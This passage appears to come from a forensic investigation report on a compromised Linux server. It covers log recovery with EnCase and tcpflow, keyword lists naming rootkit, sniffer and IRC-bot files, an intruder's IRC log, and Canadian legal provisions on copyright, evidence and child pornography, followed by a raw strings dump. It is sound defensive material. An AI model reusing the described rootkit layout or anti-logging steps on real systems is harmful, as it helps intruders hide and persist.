As indicated the log server file for the Jun 29 date were not immediately obtained. The log file rotation was set to rotate every week, retaining only 4 weeks before being written over. By the time the error was uncovered the logging event for June 29, had been overwritten. To recover events from the Jun 29 time period a dd image was taken of the drive, see Tag #3. The dd image of the var partition was acquired into EnCase and a search expression for “Jun 29” was created. See Figure 20.

![Figure 20. EnCase keyword string input](image)

The results of the search string are shown by selecting Search Hits. To export the deleted data into a file, the selection is highlighted by dragging the cursor or right clicking and selecting export. Under export you have options to enter the ranges you wish to export to a file. Figure 21 shows the search string found in Unallocated Clusters. The data start and length was used to export the deleted log data to an output file.
Other data recovery was done using tcpflow on the tcpdump data streams from the log evidence gathered from tag item #3.

The syntax for recovering the data streams through these sessions was:

```
#> tcpflow -r tcpdump.log.1056866401 port 1058
```

The output is two streams:

```
XXX.XXX.119.141.00080-192.168.002.015.01058
192.168.002.015.01058-XXX.XXX.119.141.00080
```

Editing out the http header information from the first stream left the "r" binary file that was used to elevate privileges to root on the system.
2.8. String Search

From the live response, log analysis, and media analysis keywords were identified. The lists below were compiled throughout the analysis. As shown above, the string search for Jun 29 on the “/var” partition provided supporting evidence on the timing of events and the nature of the activity.

The keywords from live response were compiled based on the difference in a live response run on a normal system and the live response run on the compromised Linux 7.3 server. The keywords were used to narrow the search parameters and target the analysis. This string search / keyword search targeting saved time and narrowed the search for the facts.

**Live response**
Keywords of interest
- minilogd
- session_mm_apache0.sem
- weit
- popauth
- nfsd

Paths of interest
- /tmp/.s
- /.x

Files of interest
- /var/log/httpd/access_log
- /var/log/httpd/ssl_request_log
- /var/log/httpd/error_log
- /usr/bin/weit
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /.x/popauth
- /dev/hdx1
- /usr/sbin/nfsd
- /tmp/.s/nfsd
- /sbin/sshd_config

Other items of interest
- Date processes started Jun 29
- Defunct processes
  - weit,
  - chmod +s /usr/sbin/nfsd,
  - chmod
  - mkdir
  - hostname
  - ls

**Log file analysis**
Keywords of interest
- s.tar.gz
- linsniffer
- .addr
• .file
• .1logz
• .1proc
• xxh_h
• xxh_r
• nfsdi
• init.sshd
• popauth
• weit

Paths of interest
• /tmp/.s
• /tmp/.s/nfsd
• /tmp/.s/sshd
• /tmp/.font-unix
• /tmp/.font-unix/.X11-pipe
• /.x

Files of interest
• r
• s.tar.gz
     .s/        .s/du        .s/find
     .s/killall .s/linsniffer .s/ls
     .s/netstat   .s/ps     .s/patree
     .s/vdir     .s/top     .s/.laddr
     .s/.1file    .s/.1logz  .s/.1proc
     .s/clean     .s/nfsd/  .s/nfsd/sshd_config
     .s/nfsd/xxh_h .s/nfsd/xxh_r .s/nfsd/nfsdi
     .s/sshd/     .s/sshd/init.sshd .s/sshd/sshd_host_key
     .s/sshd/sshd-install .s/sshd/sshd_config .s/install
     .s/sense     .s/p.sshd
• bot.tar.gz
     .X11-pipe/    .X11-pipe/COPYING   .X11-pipe/README
     .X11-pipe/TODD  .X11-pipe/VERSIONS   .X11-pipe/Makefile
     .X11-pipe/configure  .X11-pipe/mech.pid  .X11-pipe/lpd.help
     .X11-pipe/randfiles/ .X11-         pipe/randfiles/randaway.e  pipe/randfiles/randinsult.e
     .X11-         pipe/randfiles/randkicks.e  pipe/randfiles/randpickup.e
     .X11-         pipe/randfiles/randsay.e
     .X11-         pipe/randfiles/randsignoff.e
     .X11-pipe/src/ .X11-pipe/src/Makefile.in  .X11-pipe/src/cfgfile.c
     .X11-pipe/src/channel.c  .X11-pipe/src/com-ONS.c  .X11-pipe/src/combot.c
     .X11-pipe/src/commanda.c  .X11-pipe/src/config.h.in  .X11-pipe/src/dcc.c
     .X11-pipe/src/debug.c  .X11-pipe/src/defines.h  .X11-pipe/src/function.c
     .X11-pipe/src/global.h  .X11-pipe/src/h.h  .X11-pipe/src/link.c
     .X11-pipe/src/main.c  .X11-pipe/src/gencmd.c  .X11-pipe/src/parse.c
     .X11-pipe/src/socket.c  .X11-pipe/src/structs.h  .X11-pipe/src/usage.h
     .X11-pipe/src/userlist.c  .X11-pipe/src/vars.c  .X11-pipe/src/xmech.c
     .X11-pipe/src/Makefile  .X11-pipe/src/config.h  .X11-pipe/src/gencmd
     .X11-pipe/src/gencmd.h  .X11-pipe/src/structs.h  .X11-pipe/src/channel.o
     .X11-pipe/src/com-ONS.o  .X11-pipe/src/combot.o  .X11-pipe/src/commanda.c
     .X11-pipe/src/dcc.o  .X11-pipe/src/debug.o  .X11-pipe/src/function.o
     .X11-pipe/src/link.o  .X11-pipe/src/main.o  .X11-pipe/src/parse.o
     .X11-pipe/src/socket.o  .X11-pipe/src/userlist.o  .X11-pipe/src/vars.o
     .X11-pipe/src/xmech.o  .X11-pipe/mach.set  .X11-pipe/mach.levels
     .X11-pipe/LpEvEvents  .X11-pipe/lpd.usr  .X11-pipe/W4c4rOm..seen
     .X11-pipe/lpd.session  .X11-pipe/checklpd  .X11-pipe/inetd/
• samba.tgz
     ./samba/samba
     ./samba/solo
     ./samba/sys
2.9. Conclusions

The analysis of the logs and tools used provided some interesting insights into the subject. The initial connections showed some scripted activity, worm like. The subject scripts initially held the connection but dropped. The subject did not pay attention to the logging their own install script provided. If they had, they would have seen the fact the sniffer program was not completely installed.

Logging from the IRC sessions demonstrated the need to have bragging rights over how many machines someone has compromised.

```
:stockholm.SE.eu.Undernet.org 251 MrIdiot :There are 52305 users and 71548 invisible on 36 servers
:stockholm.SE.eu.Undernet.org 252 MrIdiot 79 :operator(s) online
:stockholm.SE.eu.Undernet.org 253 MrIdiot 213 :unknown connection(s)
:stockholm.SE.eu.Undernet.org 254 MrIdiot 46487 :channels formed
:stockholm.SE.eu.Undernet.org 255 MrIdiot :I have 9236 clients and 1 servers
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :Highest_connection_count: 9510 (9509 clients)
:stockholm.SE.eu.Undernet.org 375 MrIdiot : stockholm.SE.eu.Undernet.org Message of the Day –
:stockholm.SE.eu.Undernet.org 372 MrIdiot :Type /MOTD to read the AUP before continuing using this service.
:stockholm.SE.eu.Undernet.org 372 MrIdiot :The message of the day was last changed: 2003-1-21 16:57
:stockholm.SE.eu.Undernet.org 376 MrIdiot :End of /MOTD command.
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :on 1 ca 1(4) ft 10(10) tr WHOIS MrIdiot
:stockholm.SE.eu.Undernet.org 311 MrIdiot MrIdiot ~Idiot XXX.XXX.5.35 * :Idiot
:stockholm.SE.eu.Undernet.org 312 MrIdiot MrIdiot Bredbandsbolaget's IRC Server
:stockholm.SE.eu.Undernet.org 317 MrIdiot MrIdiot 0 1056922387 :seconds idle, signon time
:stockholm.SE.eu.Undernet.org 318 MrIdiot MrIdiot :End of /WHOIS list.
```

Our subject(s) are likely learning the ropes, and are attempting to prove themselves to others in their group by hacking into as many computers as possible. The suspect is not a detail person as seen in the mistyping of commands such as "unset HISTFILES" and doesn't review his/her own install logs.

Improvements made to the Live Response procedure are;

- File listing has been changed from listing only the /proc file system to listing all files and directories recursively. Changed from `ls –al /proc` to `ls –alR /`.
- A second file listing has been added that will parse out the inode listings for the file system. Added `ls –aliR /`.
3. Legal Issues of Incident Handling

3.1. Questions:

Question. Based upon the type of material John Price was distributing, what if any, laws have been broken based upon the distribution?

The reference to Ripped MP3 files at the various website and the message to Mike are evidence of copyright infringement. The sections of the Canadian copyright law that would be applied to this are civil and criminal. In the “Copyright Act of Canada, Part IV – Remedies S.34,S35,S38.1” we find the following;

**Civil Remedies**

34. (1) Where copyright has been infringed, the owner of the copyright is, subject to this Act, entitled to all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(2) In any proceedings for an infringement of a moral right of an author, the court may grant to the author or to the person who holds the moral rights by virtue of subsection 14.2(2) or (3), as the case may be, all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(3) The costs of all parties in any proceedings in respect of the infringement of a right conferred by this Act shall be in the discretion of the court.

(4) The following proceedings may be commenced or proceeded with by way of application or action and shall, in the case of an application, be heard and determined without delay and in a summary way:

   (a) proceedings for infringement of copyright or moral rights;
   (b) proceedings taken under section 44.1, 44.2 or 44.4; and
   (c) proceedings taken in respect of

   (i) a tariff certified by the Board under Part VII or VIII, or
   (ii) agreements referred to in section 70.12.

35. (1) Where a person infringes copyright, the person is liable to pay such damages to the owner of the copyright as the owner has suffered due to the infringement and, in addition to those damages, such part of the profits that the infringer has made from the infringement and that were

---

not taken into account in calculating the damages as the court considers just.

(2) In proving profits,

(a) the plaintiff shall be required to prove only receipts or revenues derived from the infringement; and

(b) the defendant shall be required to prove every element of cost that the defendant claims.

(c) in any other case, if the court is of the opinion that the interests of justice do not require the copyright owner to be a party

.

38.1 (1) Subject to this section, a copyright owner may elect, at any time before final judgment is rendered, to recover, instead of damages and profits referred to in subsection 35(1), an award of statutory damages for all infringements involved in the proceedings, with respect to any one work or other subject-matter, for which any one infringer is liable individually, or for which any two or more infringers are liable jointly and severally, in a sum of not less than $500 or more than $20,000 as the court considers just.

Depending on intent and cooperation the fines faced by the defendant in civil court can be expensive. The “Criminal Remedies” section carry not only fines but the added possibility of jail time. The section of the “Copyright Act” that applies to the Criminal aspect of Copyright infringement is “Copyright Act of Canada, Part IV – Remedies S.42”. In this section we find the statement “Every person who knowingly”. The factor that determines the pressing of Criminal charges would be “intent”. For our case we see intent in the letter written to Mike. The topic of discussion is on “advanced orders for the next run”. The actions being taken are deliberate, the factors that show they know it’s illegal and wrong are things like hiding the MP3 access sites in slack space of a file. The other factor is the alteration of the bmap source code. Below are some sections from the Criminal Remedies area of the Copyright Act of Canada:

**Criminal Remedies**

42. (1) Every person who knowingly

(a) makes for sale or rental an infringing copy of a work or other subject-matter in which copyright subsists,

(b) sells or rents out, or by way of trade exposes or offers for sale or rental, an infringing copy of a work or other subject-matter in which copyright subsists,

(c) distributes infringing copies of a work or other subject-matter in which copyright subsists, either for the purpose of trade or to such an extent as to affect prejudicially the owner of the copyright,

(d) by way of trade exhibits in public an infringing copy of a work or other subject-matter in which copyright subsists, or

---

(e) imports for sale or rental into Canada any infringing copy of a work or other subject-matter in which copyright subsists

is guilty of an offence and liable

(f) on summary conviction, to a fine not exceeding twenty-five thousand dollars or to imprisonment for a term not exceeding six months or to both, or

(g) on conviction on indictment, to a fine not exceeding one million dollars or to imprisonment for a term not exceeding five years or to both.

(4) Proceedings by summary conviction in respect of an offence under this section may be instituted at any time within, but not later than, two years after the time when the offence was committed.

If found guilty of a summary conviction under section 42 of the Copyright act the suspect faces fines up to $25,000.00 and a jail term of 6 months. For a summary conviction there is a two year time limit. If you are convicted on indictment the fines are up to 1 million dollars and jail for up to 5 years.

**Question. What would the appropriate steps be to take if you discovered this information on your systems?**

The information on the system is a violation of the Copyright Act as indicated above. The information must be handled as any other evidence. The requirements for electronic evidence gathering are indicated in the Canada Evidence Act – Authentication of Electronic Documents – S.31.1, - Application of Best Evidence Rule-Electronic documents /printouts – S.31.2 and Presumption of Integrity – S.31.3. In accordance with the above sections the “burden of proving its authenticity” is required by the person wishing to admit the evidence. The evidence is required to support the claim that the document is what it claims to be.

The method used to gather the evidence must be verified. Note taking and using two people ensures there is independent verification and integrity of the evidence. The evidence gathering must include the identification and verification processes. The use of MD5 checksum hashes are meant to prove authenticity and integrity of the evidence. Placing the seized media into a secure area and using evidence bags initialed by the investigators maintains the evidence chain. The hardware write block device used for the image ensure the evidence is not modified.

The application of the best-evidence rule (S31.2) allows for the use of printout to be used as evidence of an electronic document. Printouts of evidence reports ensure its availability and provide backup in cases were the electronic media may be unavailable or destroyed.
Question. In the event your corporate counsel decides to not pursue the matter any further at this point, what steps should you take to ensure any evidence you collect can be admissible in proceedings in the future should the situation change?

To ensure the evidence gathered could be admissible in the future the same standards for evidence gathering that law enforcement uses would be applied. The evidence would be gathered by two people and documented. A live response would be conducted to ensure the running processes are recorded. Next, the box would be either shutdown properly or unplugged, depending on the type of Operating system being dealt with. The note taking by the two investigators must include dates, times, commands run, MD5 hashes of files and evidence gathered. Initializing of all evidence and the use of evidence bags that are sealed and initialed. All evidence gathered would be stored in a secure (locked) location.

Other provisions of the Criminal Code for gathering the evidence are covered in the Canada Evidence Act. The sections of interest are (31.1) Authentication of Electronic Documents, (31.2) Application of Best Evidence Rule-Electronic Documents and (S31.3) Presumption of Integrity. Refer to the section above.

Question. How would your actions change if your investigation disclosed that John Price was distributing child pornography?

Child pornography is a serious criminal offense. Corporate counsel would be advised then the authorities would be contacted immediately. The provisions in the Criminal Code of Canada provide clear guidelines on the action to be taken. (see Appendix G for complete listing of the Criminal Code of Canada pertaining to Child Pornography).

The Child pornography section of the Criminal Code of Canada is section 163.1. Item 3 under section 163.1 states:

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or 

(b) an offence punishable on summary conviction.

4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or
(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

The provisions in section 163.1 (3) allow the company hosting to be charged if immediate action is not taken.

The machine in question would be imaged following the forensic methodology outlined below.

- Two investigators present.
- Extensive note taking, including dates and times, commands run.
- MD5 checksums on the evidence.
- Strong chain of evidence through the use of evidence bags and initialed seals. Secure storage of all evidence.

The preference for who gathers the evidence would be to gather the evidence and wait for law enforcement to execute a proper Search warrant. To ensure due process law enforcement is required to obtain a search warrant under the Criminal Code of Canada, S.487 (1) a-c, and S.487(2.1) a-d & (2.2) a-c. It states:

487. (1) A justice who is satisfied by information on oath in Form 1 that there are reasonable grounds to believe that there is in a building, receptacle or place

(a) anything on or in respect of which any offence against this Act or any other Act of Parliament has been or is suspected to have been committed,

b) anything that there are reasonable grounds to believe will afford evidence with respect to the commission of an offence, or will reveal the whereabouts of a person who is believed to have committed an offence, against this Act or any other Act of Parliament,

(c) anything that there are reasonable grounds to believe is intended to be used for the purpose of committing any offence against the person for which a person may be arrested without warrant, or

may at any time issue a warrant authorizing a peace officer or a public officer who has been appointed or designated to administer or enforce a federal or provincial law and whose duties include
the enforcement of this Act or any other Act of Parliament and who is named in the warrant.

(2.1) A person authorized under this section to search a computer system in a building or place for data may

(a) use or cause to be used any computer system at the building or place to search any data contained in or available to the computer system;

(b) reproduce or cause to be reproduced any data in the form of a print-out or other intelligible output;

(c) seize the print-out or other output for examination or copying; and

(d) use or cause to be used any copying equipment at the place to make copies of the data.

(2.2) Every person who is in possession or control of any building or place in respect of which a search is carried out under this section shall, on presentation of the warrant, permit the person carrying out the search

(a) to use or cause to be used any computer system at the building or place in order to search any data contained in or available to the computer system for data that the person is authorized by this section to search for;

(b) to obtain a hard copy of the data and to seize it; and

(c) to use or cause to be used any copying equipment at the place to make copies of the data.¹²

Once the search warrant was executed by Law Enforcement the evidence would be turned over to Law Enforcement.

## Appendices

### Appendix A

### Prog file strings listing

**Strings dump - file prog, from Linux 7.3 VMware workstation.**

<table>
<thead>
<tr>
<th>PTRh</th>
<th>QVhx</th>
<th>h0=</th>
</tr>
</thead>
<tbody>
<tr>
<td>hK=</td>
<td>h0=</td>
<td>0hT=</td>
</tr>
<tr>
<td>h0=</td>
<td>0he=</td>
<td>8-tx</td>
</tr>
<tr>
<td>h0=</td>
<td>h0=</td>
<td>h1&gt;</td>
</tr>
<tr>
<td>h=&gt;</td>
<td>hP&gt;</td>
<td>0hm&gt;</td>
</tr>
<tr>
<td>h0=</td>
<td>h$=?</td>
<td>h=?</td>
</tr>
<tr>
<td>h7?</td>
<td>h7?</td>
<td>hH=?</td>
</tr>
<tr>
<td>hH?</td>
<td>PhI?</td>
<td>hI?</td>
</tr>
<tr>
<td>h!?</td>
<td>h!?</td>
<td>h'=?</td>
</tr>
<tr>
<td>hG?</td>
<td>hn?</td>
<td>hs?</td>
</tr>
<tr>
<td>hy?</td>
<td>Ph Θ</td>
<td>hgΘ</td>
</tr>
<tr>
<td>0h A</td>
<td>0hΘA</td>
<td>0h B</td>
</tr>
<tr>
<td>0h B</td>
<td>0h&amp;C</td>
<td>0h:5C</td>
</tr>
<tr>
<td>0hDC</td>
<td>0hXC</td>
<td>0h_C</td>
</tr>
<tr>
<td>0hbC</td>
<td>hhC</td>
<td>0hnC</td>
</tr>
<tr>
<td>h2C</td>
<td>h, D</td>
<td>0h7D</td>
</tr>
<tr>
<td>0h D</td>
<td>0h_C</td>
<td>0hbC</td>
</tr>
<tr>
<td>h2C</td>
<td>h, D</td>
<td>0h-E</td>
</tr>
<tr>
<td>h8I</td>
<td>hdI</td>
<td>hXI</td>
</tr>
<tr>
<td>hJ</td>
<td>hCJ</td>
<td>h' J</td>
</tr>
<tr>
<td>h K</td>
<td>PhAK</td>
<td>PhHK</td>
</tr>
<tr>
<td>hLK</td>
<td>hbK</td>
<td>huK</td>
</tr>
<tr>
<td>hbbK</td>
<td>huK</td>
<td>hbbK</td>
</tr>
<tr>
<td>hukK</td>
<td>PhHK</td>
<td>hHK</td>
</tr>
<tr>
<td>h L</td>
<td>h M</td>
<td>h: M</td>
</tr>
<tr>
<td>hKM</td>
<td>h` M</td>
<td>RPSQ</td>
</tr>
<tr>
<td>RPSQ</td>
<td>{^_}</td>
<td>h0N</td>
</tr>
<tr>
<td>I, RPSQ</td>
<td>h_N</td>
<td>pΘhxN</td>
</tr>
<tr>
<td>hBN</td>
<td>h` M</td>
<td>hΘO</td>
</tr>
<tr>
<td>heO</td>
<td>H^}</td>
<td>X^}</td>
</tr>
<tr>
<td>[^_}</td>
<td>[^_}</td>
<td>tY9u</td>
</tr>
<tr>
<td>).;}</td>
<td>L[^_}</td>
<td>&lt; v61</td>
</tr>
<tr>
<td>ug;}</td>
<td>s=;}</td>
<td>PSh</td>
</tr>
<tr>
<td>[^_}</td>
<td>XZSV</td>
<td>VPVS</td>
</tr>
<tr>
<td>[^_}</td>
<td>[^_}</td>
<td>[^_}</td>
</tr>
<tr>
<td>&lt;bt!&lt;b</td>
<td>RPSW</td>
<td>/FBH~</td>
</tr>
<tr>
<td>[^_}</td>
<td>;C tU</td>
<td>t$QVPVS</td>
</tr>
<tr>
<td>PVRS</td>
<td>;S t&lt;</td>
<td>[^_}</td>
</tr>
<tr>
<td>G +G</td>
<td>G +G</td>
<td>t';}</td>
</tr>
<tr>
<td>V +V</td>
<td>FDHP</td>
<td>[^_}</td>
</tr>
<tr>
<td>[^_}</td>
<td>t PS</td>
<td>VPQ</td>
</tr>
<tr>
<td>[^_}</td>
<td>VPRQ</td>
<td>~&quot;PSV</td>
</tr>
<tr>
<td>CDHP</td>
<td>[^_}</td>
<td>F0+V</td>
</tr>
<tr>
<td>[^_}</td>
<td>VSPQ}</td>
<td>~vQSV</td>
</tr>
</tbody>
</table>
examining a filename or url!
flag-
mft_log_shutdown
branch
mft_log_init
error
branch
mft_log_init
progress
exit
blue
orange<table bgcolor=%s><tr><td>%s</td></tr></table>
Brazil
GEO
[fIOPTION|fR]...
\FB\-\-\-s\FR \FIARG | \FB\-\-\-s\FR \FIVALUE \FR %s
| \FB\-\-\-s\FR \FIVALUE \FR %s
| \FB\-\-\-s\FR \FIVALUE \FR %s
| \FB\-\-\-s\FR \FIVALUE \FR %s
| \FB\-\-\-s\FR \FIVALUE \FR %s
\FB\-\-\-s\FR \FIVALUE \FR %s
\FB\-\-\-s\FR \FIVALUE \FR %s
| \FB\-\-\-s\FR \FIVALUE \FR %s
Report bugs to %s.
Usage: %s [OPTION]...
Usage:

```
--%s %s
--%s <filename> %s
> %s
%& $ %s
[&lt;%s-filename&gt;]
```

Where %s is [ &lt;OPTIONS&gt; ]; %s may include any of:

```
--%s &lt;arg&gt; %s
--%s <int> %s
```

where VALUE is one of:

```
<tt>%s</tt> invocation
<tt>%s [ &lt;OPTIONS&gt; ]
%<tt>s</tt>
```

Where <bf>OPTIONS</bf> may include any of:

```
--%s &lt;filename&gt; %s
--%s &lt;int&gt; %s
```

Where <tt>%s</tt> is one of:

```
%<tt>s</tt>
```
filesystem blocksize: %d

bmap_map_block

NULL filename supplied

Unable to stat file: %s

Unable to stat raw device %s

device mismatch 0x%x != 0x%x

Unable to open raw device %s

raw fd is %d

bmap_raw_open

bogowipe

write error

/dev/xdb9
/dev/xdb63
/dev/xdb60
/dev/xdb58
/dev/xdb55
/dev/xdb52
/dev/xdb49
/dev/xdb46
/dev/xdb43
/dev/xdb40
/dev/xdb39
/dev/xdb36
/dev/xdb33
/dev/xdb30
/dev/xdb28
/dev/xdb25
/dev/xdb22
/dev/xdb17
/dev/xdb14
/dev/xdb11
/dev/xdb
/dev/xda9
/dev/xda63
/dev/xda60
/dev/xda59
/dev/xda56
/dev/xda53
/dev/xda50
/dev/xda48
/dev/xda45
/dev/xda42
/dev/xda4
/dev/xda37
/dev/xda34
/dev/xda31
/dev/xda29
/dev/xda26
/dev/xda23
/dev/xda20
/dev/xda18
/dev/xda15
/dev/xda12
/dev/xda1
/dev/sjcd
/dev/sdz9
/dev/sdz7
/dev/sdz4
/dev/sdz15
/dev/sdz12  /dev/sdz11  /dev/sdz10
/dev/sdz1  /dev/sdz  /dev/sdy9
/dev/sdy8  /dev/sdy7  /dev/sdy6
/dev/sdy5  /dev/sdy4  /dev/sdy3
/dev/sdy2  /dev/sdy15  /dev/sdy14
/dev/sdy13  /dev/sdy12  /dev/sdy11
/dev/sdy10  /dev/sdy1  /dev/sdy
/dev/sdx9  /dev/sdx8  /dev/sdx7
/dev/sdx6  /dev/sdx5  /dev/sdx4
/dev/sdx3  /dev/sdx2  /dev/sdx15
/dev/sdx14  /dev/sdx13  /dev/sdx12
/dev/sdx11  /dev/sdx10  /dev/sdx1
/dev/sdx  /dev/sdw9  /dev/sdw8
/dev/sdw7  /dev/sdw6  /dev/sdw5
/dev/sdw4  /dev/sdw3  /dev/sdw2
/dev/sdw15  /dev/sdw14  /dev/sdw13
/dev/sdw12  /dev/sdw11  /dev/sdw10
/dev/sdw1  /dev/sdw  /dev/sdv9
/dev/sdv8  /dev/sdv7  /dev/sdv6
/dev/sdv5  /dev/sdv4  /dev/sdv3
/dev/sdv2  /dev/sdv15  /dev/sdv14
/dev/sdv13  /dev/sdv12  /dev/sdv11
/dev/sdv10  /dev/sdv1  /dev/sdv
/dev/sdu9  /dev/sdu8  /dev/sdu7
/dev/sdu6  /dev/sdu5  /dev/sdu4
/dev/sdu3  /dev/sdu2  /dev/sdu15
/dev/sdu14  /dev/sdu13  /dev/sdu12
/dev/sdu11  /dev/sdu10  /dev/sdu1
/dev/sdt9  /dev/sdt8  /dev/sdt7
/dev/sdt6  /dev/sdt5  /dev/sdt
/dev/sdt4  /dev/sdt3  /dev/sdt2
/dev/sdt15  /dev/sdt14  /dev/sdt13
/dev/sdt12  /dev/sdt11  /dev/sdt10
/dev/sdt1  /dev/sdt  /dev/sds9
/dev/sds8  /dev/sds7  /dev/sds6
/dev/sds5  /dev/sds4  /dev/sds3
/dev/sds2  /dev/sds15  /dev/sds14
/dev/sds13  /dev/sds12  /dev/sds11
/dev/sds10  /dev/sds9  /dev/sds8
/dev/sdr9  /dev/sdr8  /dev/sdr7
/dev/sdr6  /dev/sdr5  /dev/sdr4
/dev/sdr3  /dev/sdr2  /dev/sdr15
/dev/sdr14  /dev/sdr13  /dev/sdr12
/dev/sdr11  /dev/sdr10  /dev/sdr1
/dev/sdr  /dev/sdq9  /dev/sdq8
/dev/sdq7  /dev/sdq6  /dev/sdq5
/dev/sdq4  /dev/sdq3  /dev/sdq2
/dev/sdq15  /dev/sdq14  /dev/sdq13
/dev/sdq12  /dev/sdq11  /dev/sdq10
/dev/sdq1  /dev/sdq  /dev/sdp9
/dev/sdp8  /dev/sdp7  /dev/sdp6
/dev/sdp5  /dev/sdp4  /dev/sdp3
/dev/sdp2  /dev/sdp15  /dev/sdp14
/dev/sdp13  /dev/sdp12  /dev/sdp11
/dev/sdp10  /dev/sdp1  /dev/sdp
/dev/sdo9  /dev/sdo8  /dev/sdo7
/dev/sdo6  /dev/sdo5  /dev/sdo4
/dev/sdby15  /dev/sdby14  /dev/sdby13
/dev/sdby12  /dev/sdby11  /dev/sdby10
/dev/sdby1   /dev/sdby    /dev/sdbx9
/dev/sdbx8   /dev/sdbx7   /dev/sdbx6
/dev/sdbx5   /dev/sdbx4   /dev/sdbx3
/dev/sdbx2   /dev/sdbx15  /dev/sdbx14
/dev/sdbx13  /dev/sdbx12  /dev/sdbx11
/dev/sdbx10  /dev/sdbx1   /dev/sdbx
/dev/sdbw9   /dev/sdbw8   /dev/sdbw7
/dev/sdbw6   /dev/sdbw5   /dev/sdbw4
/dev/sdbw3   /dev/sdbw2   /dev/sdbw15
/dev/sdbw14  /dev/sdbw13  /dev/sdbw12
/dev/sdbw11  /dev/sdbw10  /dev/sdbw1
/dev/sdbw    /dev/sdbv9   /dev/sdbv8
/dev/sdbv7   /dev/sdbv6   /dev/sdbv5
/dev/sdbv4   /dev/sdbv3   /dev/sdbv2
/dev/sdbv15  /dev/sdbv14  /dev/sdbv13
/dev/sdbv12  /dev/sdbv11  /dev/sdbv10
/dev/sdbv1   /dev/sdbv    /dev/sdbu9
/dev/sdbu8   /dev/sdbu7   /dev/sdbu6
/dev/sdbu5   /dev/sdbu4   /dev/sdbu3
/dev/sdbu2   /dev/sdbu15  /dev/sdbu14
/dev/sdbu13  /dev/sdbu12  /dev/sdbu11
/dev/sdbu10  /dev/sdbu1   /dev/sdbu
/dev/sdbt9   /dev/sdbt8   /dev/sdbt7
/dev/sdbt6   /dev/sdbt5   /dev/sdbt4
/dev/sdbt3   /dev/sdbt2   /dev/sdbt15
/dev/sdbt14  /dev/sdbt13  /dev/sdbt12
/dev/sdbt11  /dev/sdbt10  /dev/sdbt1
/dev/sdbt    /dev/sdb9   /dev/sdb8
/dev/sdb8    /dev/sdb7   /dev/sdb4
/dev/sdb5    /dev/sdb4   /dev/sdb3
/dev/sdb2    /dev/sdb15  /dev/sdb14
/dev/sdb13   /dev/sdb12  /dev/sdb11
/dev/sdb10   /dev/sdb1   /dev/sdb
/dev/sdb7    /dev/sdb6   /dev/sdb5
/dev/sdb4    /dev/sdb3   /dev/sdb2
/dev/sdb1    /dev/sdb15  /dev/sdb14
/dev/sdb8    /dev/sdb7   /dev/sdb6
/dev/sdb5    /dev/sdb4   /dev/sdb3
/dev/sdb1    /dev/sdb15  /dev/sdb14
/dev/sdb8    /dev/sdb7   /dev/sdb6
/dev/sdb5    /dev/sdb4   /dev/sdb3
/dev/sdb2    /dev/sdb15  /dev/sdb14
/dev/sdb13   /dev/sdb12  /dev/sdb11
/dev/sdb10   /dev/sdb1   /dev/sdb
/dev/sdai5 /dev/sdai4 /dev/sdai3
/dev/sdai2 /dev/sdai5 /dev/sdai14
/dev/sdai13 /dev/sdai12 /dev/sdai11
/dev/sdai10 /dev/sdai1 /dev/sdai
/dev/sdah9 /dev/sdah8 /dev/sdah7
/dev/sdah6 /dev/sdah5 /dev/sdah4
/dev/sdah3 /dev/sdah2 /dev/sdah15
/dev/sdah14 /dev/sdah13 /dev/sdah12
/dev/sdah11 /dev/sdah10 /dev/sdah1
/dev/sdah /dev/sdag9 /dev/sdag8
/dev/sdag7 /dev/sdag6 /dev/sdag5
/dev/sdag4 /dev/sdag3 /dev/sdag2
/dev/sdag15 /dev/sdag14 /dev/sdag13
/dev/sdag12 /dev/sdag11 /dev/sdag10
/dev/sdag1 /dev/sdag /dev/sdag9
/dev/sdaf8 /dev/sdaf7 /dev/sdaf6
/dev/sdaf5 /dev/sdaf4 /dev/sdaf3
/dev/sdaf2 /dev/sdaf15 /dev/sdaf14
/dev/sdaf13 /dev/sdaf12 /dev/sdaf11
/dev/sdaf10 /dev/sdaf1 /dev/sdaf
/dev/sdae9 /dev/sdae8 /dev/sdae7
/dev/sdae6 /dev/sdae5 /dev/sdae4
/dev/sdae3 /dev/sdae2 /dev/sdae15
/dev/sdae14 /dev/sdae13 /dev/sdae12
/dev/sdae11 /dev/sdae10 /dev/sdae1
/dev/sdae /dev/sdad9 /dev/sdad8
/dev/sdad7 /dev/sdad6 /dev/sdad5
/dev/sdad4 /dev/sdad3 /dev/sdad2
/dev/sdad15 /dev/sdad14 /dev/sdad13
/dev/sdad12 /dev/sdad11 /dev/sdad10
/dev/sdad1 /dev/sdad /dev/sdac9
/dev/sdac8 /dev/sdac7 /dev/sdac6
/dev/sdac5 /dev/sdac4 /dev/sdac3
/dev/sdac2 /dev/sdac15 /dev/sdac14
/dev/sdac13 /dev/sdac12 /dev/sdac11
/dev/sdac10 /dev/sdac9 /dev/sdac
/dev/sdb9 /dev/sdb8 /dev/sdb7
/dev/sdb6 /dev/sdb5 /dev/sdb4
/dev/sdb3 /dev/sdb2 /dev/sdb15
/dev/sdb14 /dev/sdb13 /dev/sdb12
/dev/sdb11 /dev/sdb10 /dev/sdb1
/dev/sdb /dev/sda9 /dev/sda8
/dev/sda7 /dev/sda6 /dev/sda5
/dev/sda4 /dev/sda3 /dev/sda2
/dev/sda15 /dev/sda14 /dev/sda13
/dev/sda12 /dev/sda11 /dev/sda10
/dev/sda1 /dev/sda /dev/sda9
/dev/sda8 /dev/sda7 /dev/sda6
/dev/sda5 /dev/sda4 /dev/sda3
/dev/sda2 /dev/sda15 /dev/sda14
/dev/sda13 /dev/sda12 /dev/sda11
/dev/sda10 /dev/sda1 /dev/sda
/dev/scd7 /dev/scd6 /dev/scd5
/dev/scd4 /dev/scd3 /dev/scd2
/dev/scd1 /dev/scd0 /dev/sbpcd9
/dev/sbpcd8 /dev/sbpcd7 /dev/sbpcd6
